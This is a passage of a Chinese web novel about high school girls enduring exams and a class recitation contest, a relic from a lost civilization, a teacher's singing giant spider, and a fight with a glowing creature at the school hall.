她们所处的时代是第三次文明爆发期。以玛丽基金会造访雷姆利亚星开始计算,如今已经是4420年。
空想文明,就是第一次文明爆发期的俗称。
证明文明爆发的根据,就是在某个星球上发现根本不该出现的化石。这至少证明爬行文明已经出现,人们可以进行跨星球航行。根据化石的出土年代推导,第一次文明爆发期的确是可考的,但是这个文明留下的遗产无比诡异。
同样是文明爆发期,第二次文明爆发期的科技明显和第三次有相似的轨迹,从打磨工具、缝制衣物,到机械构造和简单物理学的应用,接着是热能、电能、核能、原子能……最后走向毁灭。但空想文明就如同它的名字一样,它们的科技仿佛是凭空幻想出来的。
正常的跳格子需要压缩空间,需要克服引力,需要大量能量驱动。虽然进行了距离的压缩,但它也是有过程的。
空想文明直接跳过了过程。就仿佛现实是一张纸,想要从一个点走到另一个点,大家都要跑,要跳。而它在更高的维度,把纸折了起来,省略了中间的路程,直接到达了终点。因为空想文明存在,所以神创论和四维生物论在星际文明里一直很流行。
这对木杯就是空想文明的遗产。普通的通话是通过电信号和基站的配合达成,而空想文明的产物直接省略了中间过程。一个木杯里回荡的声音,会毫无损耗地直接出现在另一个木杯里。
“所以呢?”刘征兰刷题之余抽空发消息回他,“你指望我们怎么样?”
康烁影压根没理他,她真的很急,急到没空看手机。语文老师划的古文范围她都没背。
“我就通知你们一声。”律易棋说,“我的立场是掮木,玛丽基金会的东西,随便你们还不还。”
“那就不还了。又不是我们偷的,到我们手里就是我们的。”颜阎拍板,“刘女士,笔记发我一下。”
“拍过去了。”
“你考试还带天机吗?”
“这次带,这个没法关也没法摘出来。下次会让律易棋想办法的。”
“真好。”颜阎羡慕,“我也想戴着天机考试。那个耳夹翻译器太明显了。”
“我不想戴着它。”刘征兰说,“像在作弊。”
颜阎安慰她:“没事,你也不差那几分。”
“那它就更没用了,我真不想戴它。”
刘征兰没发表情包。颜阎沉默了一下,发了个双手合十的狗头,扭头给律易棋发消息:“你能不能把那个天机关掉?”
“关不掉。可以拿出来,但再装一次挺麻烦的。”
“真没办法吗?刘征兰特别不喜欢戴那个东西。”
“你怎么看出来的?”
“Friendship。”
说完这句话,颜阎就把自己强制下线了,顺带扇了自己两巴掌:“又玩手机!又玩手机!快学!”
她把手机关机,看了两眼考试表。
高二的月考都特别恐怖。除了生物和地理自选,其他全考。考试要考两天,中间还穿插着上课。
最恐怖的无疑是在成绩发下来之前讲卷子,那感觉就像是心里有个香喷喷的金黄色奶酪,打一个对勾没影响,但打一个红叉就得在奶酪里开个口子挖走一块。对完卷子了,只剩下一点点残渣在盘子里。你看着空空如也的盘子,又想起奶酪刚端上来时那饱满期待的心情,心中只想哭。
问题是学校的批卷速度特别慢,往往两周才能得到结果。结果出来时下一轮月考都要来了。这就导致每次都是先对答案再出成绩。每次台下的学生都不关注题目本身,只屏气凝神等待着题目的答案,氛围很像开奖前的赌场。对了的欢呼雀跃,错了的扼腕叹息。有些男生甚至会摔笔摔卷子。
对此,讲卷子抵制者颜阎发言:“你可以杀了我,但不能凌迟我。”
但凌迟还是要来的,凌迟前的定罪也是要来的。
考试前早读照旧,老师在上面看着,不让任何人有机会补觉。即便如此,颜阎还是用手撑脸,抽空睡了两三次。
早读和第一节课之间有五分钟的休息,在这五分钟里,所有人都要挪换教室。走出教室的那一刻,冷空气里带着铁味呛入鼻腔,即便如此也只是让眼皮更沉。
考场有严格的等级,不管你往哪个考场走,都会感到一阵羞愧和紧张。走进别的班开着暖气的教室会闻出奇怪的味道,像是钻进大被同眠的被窝。
月考往往是先考语文和数学。喜欢语文的人一般就靠阅读理解里的好文章撑着,读到真的很好看的文章,心理像是灌满了暖暖的热水。
这次的阅读理解第一篇是说明文,里面提到了“弹琴看文君,春风吹鬓影”。有几个人写着写着愣在那,看着这句诗,意象拨动了她们的心,让她们反复磋磨诗里的触觉,一遍一遍地读,读到泪流满面。在如此紧张的时刻,她们的心得以自由一瞬,隔着历史的尘沙看到卓文君的背影,发丝飘扬在永不枯朽的春风里。
但题目会把感动解构,学生们像解剖一样切开文章的词语和句子,直到把文章剖得不成人形,新鲜的血与肉看不出原来的形态才肯罢休。
颜阎很会写议论文,她往往站反方,因为她一身反骨,把议论文当驳论文写。虽然每次都因为结构不是很标准所以得分不够,但她坚信自己高考一定会拿高分。
刘征兰写议论文写得很痛苦。她认为每次议论文给的题目都很蠢,把两个中间项很多的观点变成二元论的格斗场。她写的时候咬牙切齿,恨不得把卷子吃掉。
康烁影对语文完全是应付了事,没有一丝悟性。考试是考试感动是感动,两个东西联系不到一起。
第二场是数学。写会的题目时有种爽快感,像是平时的努力清清楚楚兑换成了货币。但到了不会的题目,那种无处思考的感觉令人困顿。思路卡住的时候,能清晰地感觉到,大脑被困在一具骨架里。刘征兰坐在第一考场第一的座位,笔刷刷刷就没停过。每个人写完题目都要往她那里看一眼进度,确定没有落下太远才安下心。
中午回家,家长免不了问几句情况。于是打预防针的吹牛的如实相告的应有尽有,吃完饭回来继续考。月考提早半小时到校,管你睡没睡午觉,高考可不让你睡午觉!
先考英语,再考生物或者地理。只选了一门的人也不能提前回家,全都坐在教室里自习。
中午听英语听力,睡倒一大片自暴自弃的和不受控制的。录音里的男人胸腔共振到冒气泡,什么也听不清,女人一惊一乍经常破音。听完听力又被十一选十、完形填空和翻译和绊住脚。这几道题看久了,是会产生感情的。就算你答不出来,也会对这些洋文有一些亲切感,毕竟每个词都被琢磨过几百次了。
英语作文押题千千万,有押环境保护的有押社区服务的,谁也没想到题目是“如何做番茄炒蛋”。一时间学生们个个面露痴傻,抱怨四起,又被监考迅速镇压了。
生物和地理更让人头疼,遗传病人非要生小孩充分体现了人类的自私,各地工厂的优势非要高中生来分析体现了人才的缺失。康烁影考地理的时候,生物组二人已经背着教导主任偷偷溜出门,还在小花园碰到了生物马老师。
马老师隔着手套抓住了一只蛾子,把它装进打了孔的亚克力盒子里。然后背过身继续翻其他草丛:“哎呀什么东西从后面过去了?是风吗?”
生物二人组向她表示了无声的感谢,然后扭头就跑。除她们之外还有几个胆子大的高人一起逃学,几个人到门口跟门卫说月考放学早,趁门卫半信半疑溜出去。要是再晚一点就,会有老师来通知门卫不要放跑学生,那时候她们就走不了了。
晚自习是凌迟时间,还好颜阎班上讲的是语文卷子。语文是她的强项,而且除了选择题和古文翻译也没什么好对的,颜阎心安理得地在下面做生物卷子。康烁影和刘征兰班上在对英语,但她们都有天机,只有放水的份没有考砸的份。于是一个睡觉一个赶作业。
第二天是同样的流程,只不过上午两门下午两门。下午结束后本该直接放学,毕竟是周五,大家都默认周五接月考可以早放学,更何
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况这个周五紧接着跨年假期。结果所有人又被赶回自己班级听从老师安排。
颜阎的绝望写在脸上:“又干嘛?又干嘛?孔丘又要我们等她布置作业等二十分钟,再上来说一堆废话?”
八卦传播大使小喇叭惊恐地打量她。不敢相信自己的八卦传播居然会有一个活生生的漏洞。她仔细翻找自己的记忆:下课时颜阎在睡觉,放学时颜阎最早走人,上学颜阎总是踩点,更何况颜阎在班里压根没有朋友,处于社交链条之外。怪不得她接收不到任何消息。她在这个班的定位就像是一位隐士高人,偶尔出山看几眼,发出几声感慨:“啊,世界变化这么大啊!”
“你对小道消息上点心吧!”小喇叭晃她,“朗诵比赛呀!学校有朗诵比赛!”
“朗诵比赛就可以折腾学生吗?”颜阎被她一晃,顺势软塌塌地跌在座位里,“我晚上还有课,我真的就想休息一阵,这很难吗?”
“马上就周六了,有的是时间让你放松。”身后传来一阵幽幽的声音。颜阎和小喇叭转头,在十二月的冷风里凝固了。
孔丘站在她们身后,似笑非笑地看着她们。
孔丘的身材圆圆胖胖,非常像小时候家长和面时随便扯一截面丢给家里小孩创作时,小孩们都会做出的面饼人。两个圆圆的球互相叠着,四肢是插上去的细牙签。
小喇叭立刻狡辩:“没有,她没有。就是,呃……”
颜阎有气无力:“周六要补课,作业太多写不完,没空休息。”小喇叭急得猛拍她好几下。
孔丘伸手去揉颜阎的头,暗地里打算揪她一把头发,被颜阎躲开了:“高中最是努力的时候。高中不努力你还想干什么?”
颜阎嘿嘿笑起来:“怕没命享福呗。县里不是刚跳了一个吗?班上跳一个我们倒开心,至少放假了。”
对于彼此的厌恶,双方都心知肚明,但一个要装宽容开明的好老师,一个要装尊师重道的好学生,大家都挺累的。
还好小喇叭冲出来捂住颜阎的嘴把她拖走了,不然颜阎和孔丘可能要互相阴阳怪气一阵,更加浪费时间了。
孔丘看见颜阎被物理闭嘴了,满意地点了点头,牙签双腿把她的身躯顶上讲台,在电脑桌后面站定。这让她看起来像是一只长在讲台上的葫芦。
“下周五朗诵比赛,班级为单位报名。”孔丘双手撑桌,睥睨天下,“我把我们班抽到的诗发下去,周一要背出来。”
班里一片哀嚎。
“别鬼叫了,古文都能背下去,这个你们背不下去?”孔丘鼓励全班,“加油,让其他班看看我们的集体荣誉感!”
事实是,四班内部小团体林立,男女同学关系紧张,运动会都没人喊加油,没有任何集体荣誉感可言。
跨年夜到来的前一刻,颜阎、刘征兰、康烁影在不约而同地出现在呼叫中心。颜阎是最后来的,她联系拿着绿书包的刘征兰把自己拉进去。她到的时候,另外两个人已经安详地躺平了。
地面铺了几张毛毯,另外两个人就自然而然地躺在毛毯上。颜阎也从自己家找来一张小毯子铺在地上,默默躺下望着天花板。谁也没有说话,谁也没有提问。疲惫和紧张让她们的神经像失去弹性的皮筋般松弛,除了休息什么也不想。
在家里躺着可能要面对家长的担忧、弟弟的打扰和多余的询问,只有呼叫中心是不被打扰的空间。来这里的人都心照不宣,不必多费口舌。
三人躺着看了彼此班上的诗。诗的内容自然是歌颂青春放飞梦想之类的,康烁影兴致缺缺,另外两人冷笑。她们对青春和梦想这种词过敏,一听就想吐。
这时颜阎突然窜起来,把那只从飞飞那里回收的木杯盖在嘴上,使劲朝里面喊:“空想文明?听得见吗?带我走吧!我不想上学了!”
木杯里自然没有回应。只有从另一个木杯电话里传来的回音:“我不想上学了!我不想上学了!我不想上学了!”
刘征兰动了动,先是侧过身,同侧的手臂和大腿一起用力,缓慢优雅地从地面上升起来,空着的那只手拿起另一个木杯,悬在嘴前。
她清冽的嗓音响起,像一汪见不到底的深潭水:
“空想文明在吗?把世界毁灭吧。”
世界自然没有毁灭,消逝的文明也没有回应。三个人邪恶地笑作一团。又过了十几分钟,新的一年到了,大家互相道了“元旦快乐”,就爬起来回家了。
26.大蜘蛛哼唱
普通班真的很认真地对待了朗诵大赛,把服装、动作、舞台设计都编好了,个个嘴上像是装了锁,怎么都不透露具体内容。
颜阎大惑不解:“他们哪来的这股激情?班级关系处这么好?”
四班内部关系紧张结构松散已经人尽皆知,二班尚有一丝团魂,但是完全懒得在这些事上耗费精力。大家敷衍了事,在周天子热情洋溢的排练之余聚众打牌。
康烁影没事就跳到刘征兰面前背稿:“亲爱的同学,感谢,你朝夕相处的陪伴!”
然后张晓怡和柳令全也鹦鹉学舌,三个人把刘征兰包围在中间,声音一个比一个嗲,动作一个比一个浮夸。念到最后就把刘征兰围起来紧紧抱住。刘征兰特别讨厌肢体接触,被压成奥利奥夹心后整张脸缩成一团。
周天子在讲台上指挥所有人,希望调动起大家的班级积极性:“快快快,康烁影,你不是搞什么什么男团女团吗?快把大家的团排出来!班长管一下纪律!”
全班的桌椅板凳都推到墙边,这一点上课之外的插曲足够麻木的交感神经兴奋起来。后排的几个男生神经质地跳着鬼畜视频里的舞蹈,女生们三三两两高声说笑。
管不住纪律的周天子从电脑桌里拿出三角尺。
前排的女生迅速察觉了周天子平静表情下暗潮涌动的愤怒,赶紧推了自己的朋友一把。前排的女生安静,后排的女生也警惕地闭上了嘴。和男生玩得好的女生还会转头提醒,教室里的安静传播得像多比诺骨牌。
“咱们班能不能有一点集体意识!”周天子梆梆敲桌子,“团结!团结!听没听说过百年修得同船渡?你们同一个班,是几辈子修来的缘分。我以前的学生搞朗诵比赛搞得可热闹了,都是自己组织自己设计,特别有热情,你们还要我组织!”
康烁影、张晓怡和柳令全偷偷在一起玩石头剪刀布。
“你们要把自己当作班级的主人翁!这样才能维护好我们的班级!你们最近特别流行的那个话怎么说?We are伐木累!”
底下的学生都低着头,没有说话。几声窃笑传来,又很快飘远。
周天子企图用玩梗活跃气氛的计划失败了。她脸上半真半假的笑容收敛,一种尴尬的失态从她无处摆放的双手传到脸颊上,礼崩乐坏的灾难不过如此。她调整了一下表情,重新捧起了周朝的威严。
“好了!女生往前男生往后,我排一下队形!”
刘征兰很讨厌周天子,也很讨厌颜阎的班主任孔丘,但也有点怜悯她们。她们的资历老,教学质量不错,都喜欢在上课时穿插一些自己的家事、政治立场和纯粹的观点输出。经常批评女学生失德,不自觉地偏爱成绩好的同学和家里有关系的同学。
但榕城太小了,没有新的老师来,最年轻的老师也和学生们的父母一样大。比起学生,她们才是一辈子生活在学校的象牙塔里,不知春秋。过去学生们愿意把同学当作亲人,将高中视作挥洒青春的场所,现在那个时代已经过去了。集体主义在消退,个人主义悄然冒头。在班级里,大家有各自的同盟。
老师们没有意识到这一点,但刘征兰能感觉到她们在努力融入。用过时的梗,不合时宜的流行语。但她们的身心都旧了,这只会加固她们落伍的形象。
刘征兰每次想到这些,都感觉这些老师很可怜。
可怜和厌恶并不相冲。当她听到周天子说全员穿秋季校服时,她结结实实愣住了。
女式秋季校服是裙子。
男生校服没好到哪里去,但至少不用露腿。榕城女生没多少人会用丝袜或者光腿神器这种除了好看没啥用的东西,大家都实诚地套上羽绒服。
“别吵!到时候礼堂里会开暖气的!”周天子没有理会女学生里的骚动,“记得穿小白鞋,带领花。打扮得漂亮点哈!”
周天子一走出教室,女同学顿时炸了锅。周天子的心腹凑在一块嘀嘀咕咕商量,如何在不触她眉头的情况下让她收回成命。毕竟这个人人穿成羽绒服小面包和亮面垃圾袋的季节,她们实在不想小面包进去,小短裙出来。
刘征兰和康烁影积极参与谋划时,在四班没有朋友所以天天往二班跑的“精神二班人”颜阎探出头:“大家好。”
和颜阎关系还行的几个女生把她拽进门:“你们班女生让穿短裙了吗?”
“你们班也要穿啊?”
“你们也是?”
“没有‘们’。”颜阎摇手指,“你们猜我为什么在排练的时候跑出来了?”
大家面面相觑,只有特别了解她的刘征兰和她对视了几秒,乐了:“你退出啦?”
颜阎自信一笑,伸出食指和拇指撑住下巴,摆了个自以为帅气的造型。
“哦哦哦哦哦哦哦!”
“勇士!!”
“女神!!!”
二班同学顿时鼓起掌。
这种集体活动不参与,约等于跟老师摆谱,老师会带头孤立你。而且到家长那边也不好交代,他们会不顾一切地让你合群,连颜阎的妈妈也不例外。
这种事别人做大家可能还会背后说几句,但颜阎当反骨仔太久了,大家已经完全习惯了她,甚至将其作为颜阎的个人设定。她要是哪次没有反骨发作还会有人奇怪。
宋悦馨本来作为周天子的拥护者保持沉默,但颜阎是外班人,她还是能说道一下的。只见她撑着下巴笑吟吟看着颜阎,张嘴就是大家都不爱听的话:“你好像不爱穿裙子是吧?”
颜阎不在乎:“Yes!”
“为什么?你初中时不是还找政治老师谈过这件事吗?”
宋悦馨和颜阎初中是一个班的,一直不太对付。康烁影拼命冲宋悦馨使眼色,宋悦馨没卖她面子,还是笑眯眯地看着颜阎。
颜阎比其他人都不在乎:“哦,我当时说我母亲的配偶——”
“谁?”
“我母亲的配偶,提前说一下,我妈没二婚,我纯粹就是讨厌他不想管他喊那个称呼。”
那就是她爸爸了。
“我当时说的是,我母亲的配偶小时候家暴我,所以我后来就不穿裙子了。因为我觉得女生太弱了打不过他。”
全体同学顿时对颜阎肃然起敬。一瞬间她的率性和反抗都蒙上了悲惨童年的阴影,一切行为瞬间有了解释。
“后来呢?”王海同动情地问。
“后来我意识到他那根本不算在家暴我。”颜阎挠头,“就,他会点武术,每次都能按着我挣脱不掉。很恐怖。那几次都是很小的事,比如我想吃牛肉干,他让我一会儿吃,我去,他拦,闹急眼了。”
大家都好无语:“你压根没解释你为什么不穿裙子!”
“纯不爱穿!”颜阎骄傲地说,“我后来想明白了。不是女生弱,也不是我弱,是他强而我小!我当时只是不想穿裙子,于是从记忆里翻找出了一个理由,假装穿裙子是我的创伤。其实我只是不明白,为什么女生一定要穿裙子!”
还是纯粹的反骨。大家都放心了。刚才差点以为她真的是拥有悲惨童年的美强惨了,现在看来,颜阎果然还是熟悉的颜阎!
康烁影上前一步握住她的手,代表大家发言:“看到你没有从谐星变成反转后的悲剧角色,我很欣慰。欢迎回来。”
颜阎说:“死!”
颜阎获得了与妈妈的争吵和放学后不留堂的机会。虽然每次早放学,妈妈都会板着脸不理她,一幅“你还骄傲上了?”的表情。其他同学都只是在看热闹,但至少她自己爽了。
也有几个人真心为她高兴。比如康烁影,比如刘征兰。
颜阎还顺带问过刘征兰要不要也退出朗诵比赛。刘征兰说:
“我不退。”
颜阎点了点头,没有说话了。
康烁影的心在颜阎问的时候就提了起来。刘征兰一回答,她差点心脏骤停。
问话好直接,回答也好果断。
向颜阎发难的宋悦馨是刘征兰的发小,颜阎本来心里就不舒服。刘征兰这么干脆地拒绝,简直就像是把颜阎扔到一个孤立无援的境地。这完全不符合女高中生小团体法!
康烁影隐隐感觉这两个人在吵架,但颜阎没给她问话的机会。她提前写完生物作业,开开心心地对完答案去找生物老师问题了。
生物马老师的办公室在三楼化学实验室后面的单间里。三中太
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小,职称无比混乱,但她有单间,应该也说明了她的职位比较高。颜阎每次都攒好几张卷子,一股脑地全问了,以免多走路。
化学实验室静悄悄,七八排带水槽的实验桌比朗诵大赛的队形还整齐。挥发得与清水区别不大的盐酸和满是不明沉积物的其他细口瓶都满怀期待地希望学生能用一用它们。颜阎残酷地忽略了它们,直奔办公室。
“马老师!”颜阎敲门,“在吗?”
办公室里“咚”地一声响,听起来是有人的膝盖撞到了桌子,然后是哗啦哗啦的玻璃碰撞声与纸张乱飞的刷刷刷,还伴随着不明哼歌声。
“……老师你没事吧?”
“没事!你等我一下!办公室有点乱!”
“哗!咚!”听起来有人在猛烈地打开抽屉再塞回去。
“邦!”什么东西杯叠在一起。
“啊!”马老师的惨叫。
“哼哼哼哼……”不明哼唱。
“老师?”
在一段令人不安的沉默后,马老师打开了门。
她梳在脑后的头发很乱,这边鼓起一个小发包,那边头发挠着脖子。手上戴着手套,透明保护镜推到头顶,甚至穿着实验室的白大褂——一看就全是她自己准备的,这破学校哪有正儿八经的白大褂!
马老师的神采飞扬不是一点意外能压下去的,她笑滋滋,乐呵呵,对着打扰了她的颜阎都和颜悦色:“颜阎?你怎么来了?不是排练吗?”
“我退出了,趁其他人都不在来问题。”
“又当出头鸟?”
“嘿嘿嘿嘿。”
“进来吧。”马老师转身坐回电脑桌前。
颜阎钻进办公室。这里本来是双人办公室,但由于三中师资力量缺乏,只有一个人在用。办公室里叠着很多被布盖住的方形箱子,书架和窗台上的盆栽长势喜人,有几株茎像土豆的植物满屋子乱爬,连天花板都是它们的身影。这让整个办公室像建在绿意盎然的森林里。
马老师的桌子干净得过分,连电脑都推到了对面的桌子上,看起来曾经这里摆放过什么东西,但不知为何看不见它们。桌子上只有一只支架上的手机正播放着教棍指着黑板的画面,像是网课。窗台上有一些装满蛾子的亚克力盒子,还有一箱蛾子居然是荧光的!
还有……呃……
颜阎不太想描述那个东西。
“老师,我不太想质疑你的私事,但是……”颜阎指着对面桌子上的大蜘蛛,“那个是什么?”
马老师容光焕发:“是大蜘蛛。”
一只巨大的黑色蜘蛛,盘踞在马老师对面的办公桌上。它有半张桌子大小,脚上有一圈鲜艳的红色毛发,背部夹杂着几簇白色绒毛。平时根本无法被注意到的螯肢和獠牙明晃晃地摆动。卵圆形腹部像坠在身后的一个背包。排列得当十分有几何美感的纯黑眼珠朝着颜阎的脸,就在眼睛附近的某个位置,发出了轻轻的哼唱。
“它为什么能唱歌?”
“大蜘蛛哼唱。”
这时,手机里的声音适时响起:“亚洲地区的黑色巨大蜘蛛,学名叫大致正常蛛,它们有构造奇特的声带,可以抖动喉部肌肉发出哼唱声震慑天敌……”
“您屋子里的植物……”
手机屏幕里冒出一个眼睛圆溜溜的红皮肤动漫角色,又很快被屏蔽:“在冬季,弓粟吊兰会迅速生长,寻找房间中暖气管、热水袋等热源……”
“您窗台上的昆虫箱……”
手机里讲课的人变成了一只哈士奇大小的白毛熊:“须州地区出现大量昆虫聚集,请昆虫爱好者们注意安全……”
颜阎转向手机:“你要不直接跟我说话?”
手机反而不说话了。白毛熊灰溜溜地四肢着地爬走,顺便带走了脚下的教棍。
“总之,大致正常。”马老师亢奋地拿走了颜阎的卷子,“别管那只蜘蛛了,问题吧!”
颜阎浑浑噩噩地订正了卷子,走出门时她还在思考:网课里那个人讲的到底是什么语言?我学过吗?没学过怎么听懂的?难不成我是语言天才?
直到走出化学实验室,大蜘蛛的哼唱还在轻轻飘荡着。
27.无边无际磁力场
敲锣打鼓!张灯结彩!朗诵大赛来啦!
朗诵大赛的那周正好是四班执勤,四班又正好排到颜阎。迟到大王颜阎站在门口梦游,每次老师来都需要旁边的小喇叭捅她一下,才会睁开眼睛敬礼,敬完礼她还会偷偷吐舌头。她纯纯反骨,看不得一切地位比自己高的人,看到就难受。更何况在门口对他们夹道欢迎。
学生们蠕动着向学校大门进发,偶尔有骑车的被挤到路边下水道旁,反水结的冰让他们来一个摔一个,十分钟内冰面收集了五声惨叫。执勤生们阴暗地盯着那个冰面,指望着有新的摔跤高手来冲淡他们的怨气。
中午下了一场雪,正好踩在最后一节课。雪粒飞散,大家能通过凝视,共感室外那呛人的冷气和雪中无来由的宁静。那种美丽是很令人痛苦的,没有人不想把它从空间里割下,将自己冷冻在那个刹那里。
大家都没心思上课了,伸着脖子往外看,就算老师的骂声在后面追也没人在意。
康烁影双手紧扣祈祷:“下大,下大,下大!”
实在不巧,一整年的雪全都扔在放学的时间,化在柏油马路的参差里了,为数不多的那点积雪也被来来往往的自行车碾碎压实,成了薄脆的冰壳。
颜阎不用排练,早早走了。其他几个班的所有人都不回家吃饭,随便拿了点面包垫几口就回教室化妆。刘征兰跟着小团体去小卖部买自热米饭。雪吸收了声音,也吸收了热量,每个人都搓着手跺着脚,斯哈斯哈地出门。
二班的反短裙计划失败了。最后一节课之前,她们还得换上短裙去礼堂整队。
普通班的设计一如既往地惊艳。一班的体育生拿着表演用的刀剑棍棒一通嚯嚯哈嘿。五班的宅舞选手混着朗诵来了一段《寄明月》。三班最恐怖,播音生负责在前面用抑扬顿挫的声音朗诵,长相俊美的男女穿着民国学生的衣服款款站定,艺术生们从红幕布后面探出头,一把一把地撒下亮片和彩带。
在彩虹雨一般的光景里,前排的播音生居然从帽子上摘下了装饰用的纸飞机,哈了一口气,用尽全力丢出去。
纸飞机满场飞旋,在播音生钪锵有力的结束语里,朗诵结束了。气氛到达了顶峰!
校长的光光头上栖息着海带一样的亮片和彩带,副校长被一架纸飞机撞进嘴里,这些都不影响他们的兴奋。其他班主任的脸色都不太好,但她们还是跟着校长起立鼓掌,为精彩的演出献上赞许。
张晓怡放下帘子,宣布:“三班稳了!”
“没事!”康烁影给她鼓劲,“咱们还有四班垫底!”
三班的人陆陆续续下来了。他们也心知肚明自己稳赢了,男生们都在虚情假意地互相夸赞。二班说你们真强啊,三班说你们肯定也不错,二班又说哎呀我们特别朴素完蛋了,三班说别这么想说不定呢。
女生那边已经互相祝福起来了:“祝你们第一愉快!”“嘻嘻嘻嘻嘻谢谢谢你们的祝福!”
“啊对了。”三班的一个男生说,“你们经过器材室的时候看一眼,里面好像有人,声音怪吓人的。我没敢看,你们看看去。”
大家一下子就精神了。现在台上是高三,根据抽签,轮到他们还有一阵。一群人涌向从不开门的器材室,还真从门缝里看到了一丝灯光。
一个男同学坏笑着握住了门把手:“你们说,会不会有人在里面……”他拍了拍手,意思是做//爱。
“不会吧!”男生都兴奋起来,“快打开!快打开!”
女同学忍不住退后一点,她们在这种场合总有种被冒犯的尴尬。有几个脸皮稍厚的也跟着往前凑,尝试从门缝里听见声音。但没有一个人真的拧动门把。
康烁影就是其中之一。她挤到最前面,耳朵贴在门缝上,没听见里面有声音。一个黝黑瘦小的男生一把推开她,整个人趴在地上,眯起眼睛往门缝里看。
他看了一阵,最后站起来宣布:“什么也没有!”
他转过身,忽然发现自己身后的空间前所未有地大。以他为圆心清出了一片空地,每个人都离他至少两米远,挤在狭窄准备室的墙边。
“你们怎么了?”瘦小黝黑的男生摊开双手,“什么也没有啊?”
在他身后的门里,无数细小、形态奇妙的物体从门的缝隙中溢出。那像雾也像火的东西古怪地抽动、跳跃着,它既然不像雾那样飘散,也不像火那样灼热。它们每一片彼此独立又彼此吸引,像一大团涌出门缝的粘液。
随之而来的还有咯吱咯吱的挤压声,像是一大段光滑的橡胶被轮胎碾过发出的哀鸣。
来到门外的物体汇聚集合,组成一个半透明的紫色实体,实体内有着闪烁不定的光芒,仿佛闪电在其中哔哔剥剥地奏响。那形态,实在与幽灵无异,只是更加诡异、令人不安,仿佛是噩梦里的幻想。
与此同时,更多的物体从门中涌出,它们没有经过任何缝隙,仿佛是直接从门中诞生的。那一部分的物体附着在门上,逐渐从紫色变深,变热,而后“轰”地一声——
门烧起来了。
他转过身,几乎贴在那个紫色的半透明实体上。透过它,他清晰地看见门上的火焰直窜天花板,黑烟撑涨他的喉咙。他愣在那里,喉结滚动了两声。
他发出了惊天动地的尖叫。
二班所有人都手脚并用地往准备室外跑。
门外不明所以的老师赶紧拦住他们:“不许出去!快到你们了!”
“有鬼!救命!”
“啊啊啊啊!”
大家混乱的尖叫根本无法让人理解,这些老师只当他们集体造反,更加卖力地堵着门,不让他们出去。这时候还是康烁影聪明,她提声喊道:“起火了起火了!让我们出去!”
门口的老师往里看了一眼——还真起火了,只不过起火位置特别奇怪,是器材室大门的正中央。
他拎起准备室的矿泉水桶,“哗啦”泼过去。火立刻熄灭了,只剩下几缕黑色的浓烟。
“你们谁带打火机了?”他怀疑的眼神在一群“浓妆艳抹”的男同学里翻找,“谁家大门正中间着火啊!”
大家一句话都说不出来,只能发出无意义的怪叫。
老师留下“回去再找你们算账”的发言,把所有人重新堵在准备室里。
“那个东西哪去了?”康烁影紧紧握着刘征兰的胳膊,“就那么一扭头,从准备室门口回来,就不见了?”
跑到舞台上肯定有人会喊,但舞台那边,高三的朗诵仍然催命似地继续着。
刘征兰淡定地伸出食指。
大家顺着她的指向仰头。
刚才那个紫色的不明生物,飘在他们头顶不超过一米的地方,静静地俯视着他们。
那一瞬间,一大半的人都腿软了。还有一些人干脆躺倒,企图拉远与这东西的距离。
康烁影疯狂拽着刘征兰:“躺下!躺下啊!”
刘征兰安抚性地摆摆手。她没带绿书包,就算带了也不会在这么多人面前打开。她看了一圈,在墙角找到了一根拉幕布的晾衣杆。
本校的幕布年久失修,经常卡住。不敢想象,没有晾衣杆会有多少演出事故产生。
“你干嘛啊!”柳令全和张晓怡也扑过来抓住她,“你打算物理对抗啊?万一这是什么克苏鲁啊不可直视之物啊可怎么办!”
刘征兰没空跟她们解释。她奋力抽手,轻巧地跳出同学们的包围。低声喝道:“都分开。”
在那样冷静的态度,那样冲动的举止中,她的正前方如同摩西分海般分出一大片空地。同学们这才想起来,刘征兰貌似,似乎,好像,是因为打架斗殴被重点高中退回来的。
凡是可以被看见的都是由物质组成,由物质组成就能被伤害和消灭。所以世上绝不存在不可知,存在的只是未知。
刘征兰的眼睛在未知生物的躯体上游走:有电,电磁?会躲藏,疑似有生命。找不到类似大脑或者心脏的部位,先随便打一下。晾衣杆是塑料,导电性差。安全系数高。
她把晾衣杆在手里挥了挥,然后抬手将它竖在背后,握住它的末端抡圆了甩出去,手臂的弧度像是一道白帆。
不明生物受到这一击,受击处骤然压缩,雾状的身体扁下去一瞬,又将晾衣杆反弹回来。从手感上能感觉出来,这个生物的表面有一层柔软而有韧性的薄膜。
生物注意到了刘征兰,它像一只巨大的鳐鱼在空气中游动,电光闪烁的身体向她俯冲过来。刘征兰且战且退,慢慢将其引到最里面的墙角处。
看着近在咫尺的雾状电光,刘征兰的脸上浮现出一种古怪的笑容。那笑容简直如同亡命之徒般,在搏斗中向死发出了嘲笑。
坏啦。康烁影悲哀地想。刘征兰疯了!
眼看着即将无路可逃。众人心惊胆战,生怕刘征兰即将被怪物吞噬融合,或者化为焦炭。就在两者接触之前,一只巨大的蜘蛛从天而降。
大蜘蛛唱歌:
“哼哼哼哼哼哼哼哼~”
大家愣住。
不明生物也停下了。
然后一大群发光的飞蛾涌入准备室内,团团围住不明生物,不知谁大喊了一
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声:“怪物二形态了!”
场面更加混乱,一群人哭喊着要破门而出。
就在这时,一道声音忽然传来:“闭眼!!!”
而后强光袭来。过于近的距离使不听指令睁眼视物的几个男同学眼前和脑海同时一白,随后丧失意识,身体抽搐。
刘征兰脚下一空,失重感令她毫无章法地一通乱抓,然而重力的改变令她不可抑制地向左侧划去。
呼叫中心内,颜阎戴着一副吸收光芒的黑色全包眼镜,收回扔出闪光弹的手,将自由落体式从门前滑进来的刘征兰搂住,以防她一路畅通无阻地摔到窗户上。
律易棋从门口一跃而出。他是跳格子老手,已经习惯了突然转换的重力。因此只是调整了一下重心,身子半旋稳形。双手各握一根条状短棍,左右脚一踩一蹬,顺墙直上,蹬墙跳向不明生物。
对方迅速向后,拉开与律易棋的距离。律易棋测滚卸力,双棍随头转向一甩。不明生物忽然停滞在空中,不动不移,仿佛凝固成一团果冻。
待它重新开始移动,双棍已经近在眼前。它降下身体顺墙根逃亡,追击者就地一扑一停,双棍没有击中它,但它居然自己逃向双棍之间。巨大的身躯浓缩成不透明的一团,从左手逃到右手,又从右手逃到左手,仿佛突然间失去了视力,在两根棍之间来回乱窜。
康烁影没有看到这炫酷的一幕,但她能感受到什么事发生了。她四肢着地爬爬爬,真的让她摸到了呼叫中心的门框。她一下子精神起来,毫无形象地滚进门里,这才敢睁开双眼。
“发生什么事了?”她紧张地问,“我们还有命活吗?”
